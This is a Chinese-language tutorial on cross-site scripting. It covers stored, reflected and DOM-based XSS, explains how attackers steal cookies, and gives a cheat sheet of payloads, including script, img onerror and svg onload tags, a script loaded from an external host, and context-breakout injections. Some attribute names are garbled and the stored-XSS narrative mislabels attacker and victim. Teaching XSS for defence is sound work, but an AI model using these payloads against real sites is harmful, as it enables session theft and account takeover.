XSS详解
参考文章:XSS(跨站脚本攻击)详解 - 墨鱼菜鸡 - 博客园 (cnblogs.com)
简介
XSS,即跨站脚本攻击,英文全称Cross Site Scripting,为了与层叠样式表CSS相区别,才规定跨站脚本的攻击缩写为XSS。
XSS往往使恶意攻击者往Web页面插入恶意Script代码,当用户浏览该页面时,嵌入Web里的Script代码才会被执行,从而达到恶意攻击的目的。XSS攻击往往是针对用户层面的。
XSS分为存储型、反射性、DOM型XSS
存储型XSS
存储型XSS,持久化,代码是存储在服务器中的,如在个人信息或发表文章等地方插入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,用户访问该页面时触发代码执行。这种XSS比较危险,容易造成蠕虫,盗窃cookie。
攻击流程:
-
假如A拥有一个Web站点,该站点允许用户发布信息,浏览已发布的信息。
-
B检测到A的站点存在存储型XSS漏洞。
-
B在A的网站上发布一个带有恶意脚本的信息,该信息存储在了A的服务器上,然后吸引其他用户来点击该站点。
-
A或者是其他人如C在浏览该站点之后,A的恶意脚本就会执行。
-
A的恶意脚本执行后,A就可以对该用户C发起XSS攻击。
反射型XSS
反射型XSS是非持久化的,需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面。反射型XSS大多数是用来盗取用户cookie信息的。
攻击过程:
-
受害者C经常浏览某个网站,且此网站为A所有。而A的站点需要C使用用户名/密码进行登录,并存储了A的敏感信息。
-
B发现发现A的站点存在反射型漏洞
-
B利用A网站的反射型XSS漏洞编写一个exp,做成链接的形式,并利用各种手段引诱使C点击
-
C在登录到A的站点后,浏览了B的恶意链接
-
嵌入到恶意链接中的恶意脚本在C的浏览器中执行,此脚本盗窃敏感信息(cookie,账号信息等)。在C完全不知情的情况下将这些信息发给B
-
B利用获取到的cookie就可以以C的身份登录到A的站点。
DOM型XSS
DOM型XSS,不经过后端,基于文档对象模型(Document Object Model,DOM)的一种漏洞,DOM-XSS是通过url传入参数去控制触发的,其实也属于反射型XSS
可能触发DOM型XSS的属性
document.referer
window.name
location
innerHTML
document.write
......
利用createElement():
先在kali监听1234端口
然后在DVMA中输入
在kali中可以看到cookie信息
利用innnerHTML:
用于篡改页面
XSS的攻击载荷
以下所有标签的>
都可以用//
代替
<script>标签:最直接的XSS有效载荷,脚本标记可以引用外部的JavaScript代码,也可以将代码插入到脚本标记中。
<script>alert("hack")</script> #弹出hack
<script>alert(/hack/)</script> #弹出hack
<script>alert(1)</script> #弹出1
<script>alert(document.cookie)</script> #弹出cookie
<script src=http://xxx.com/xss.js></script>#引用外部xss
svg标签
<svg onl oad="alert(1)">
<svg onl oad="alert(1)"//
<img>标签
<img src=1 one rror=alert("hack")>
<img src=1 one rror=alert(document.cookie)>
<body>标签
<body onl oad=alert(1)>
<body onpageshow=alert(1)>
video标签
<video onl oadstart=alert(1 src="/media/hack-the-planet.mp4")>
style标签
<style onl oad=alert(1)></style>
那么这些XSS可以插在哪里呢
-
用户输入作为script标签内容
-
用户输入作为HTML注释内容
-
用户输入作为HTML标签的属性名
-
用户输入作为HTML标签的属性值
-
用户输入作为HTML标签的名字
-
直接插入到CSS里
#用户输入作为HTML注释内容,导致攻击者可以进行闭合绕过
<!-- 用户输入 -->
<!-- --><script>alert('hack')</script><!-- -->
#用户输入作为标签属性名,导致攻击者可以进行闭合绕过
<div 用户输入="xx"> </div>
<div ></div><script>alert('hack')</script><div a="xx"> </div>
#用户输入作为标签属性值,导致攻击者可以进行闭合绕过
<div id="用户输入"></div>
<div id=""></div><script>alert('hack')</script><div a="x"></div>
#用户输入作为标签名,导致攻击者可以进行闭合绕过
<用户输入 id="xx" />
<><script>alert('hack')</script><b id="xx" />
#用户输入作为CSS内容,导致攻击者可以进行闭合绕过
<style>用户输入<style>
<style> </style><script>alert('hack')</script><style> </style>